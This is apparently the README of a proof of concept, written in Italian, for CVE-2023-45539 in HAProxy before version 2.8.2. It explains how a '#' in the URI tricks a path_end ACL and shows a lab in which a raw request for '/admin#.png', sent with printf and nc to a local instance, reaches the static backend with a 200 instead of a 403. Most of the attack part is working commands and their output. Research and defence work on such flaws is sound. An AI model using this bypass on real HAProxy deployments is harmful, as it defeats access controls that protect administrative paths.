
HAProxy-CVE-2023-45539-PoC
HAProxy precedente alla versione 2.8.2 accetta # come parte del componente URI, il che potrebbe consentire a un attaccante remoto di ottenere informazioni sensibili o avere un impatto non specificato a causa di un'interpretazione errata di una regola path_end, come instradare index.html#.png a un server statico.
Ciò che viene instradato erroneamente in questa CVE non è un'estensione che l'app backend "supporta" — ma solo quelle che HAProxy stesso è configurato per instradare usando ACL path_end (o regex).
acl is_static path_end .png .jpg .gif .css .js
use_backend be_static if is_static
Ciò significa:
/admin#.png → corrisponde a .png → va a be_static → bypass
/admin#.asc → non corrisponde → rimane in be_app → raggiunge deny → 403
curl -i http://localhost:6655/public
HTTP/1.1 200 OK
content-length: 7
content-type: text/plain
APP OK
curl -i http://localhost:6655/admin
HTTP/1.1 403 Forbidden
content-length: 93
cache-control: no-cache
content-type: text/html
<html><body><h1>403 Forbidden</h1>
Request forbidden by administrative rules.
</body></html>
printf 'GET /admin#.png HTTP/1.1\r\nHost: localhost\r\n\r\n' | nc -q1 127.0.0.1 6655
HTTP/1.1 200 OK
content-length: 31
content-type: text/plain
STATIC OK (routed by path_end)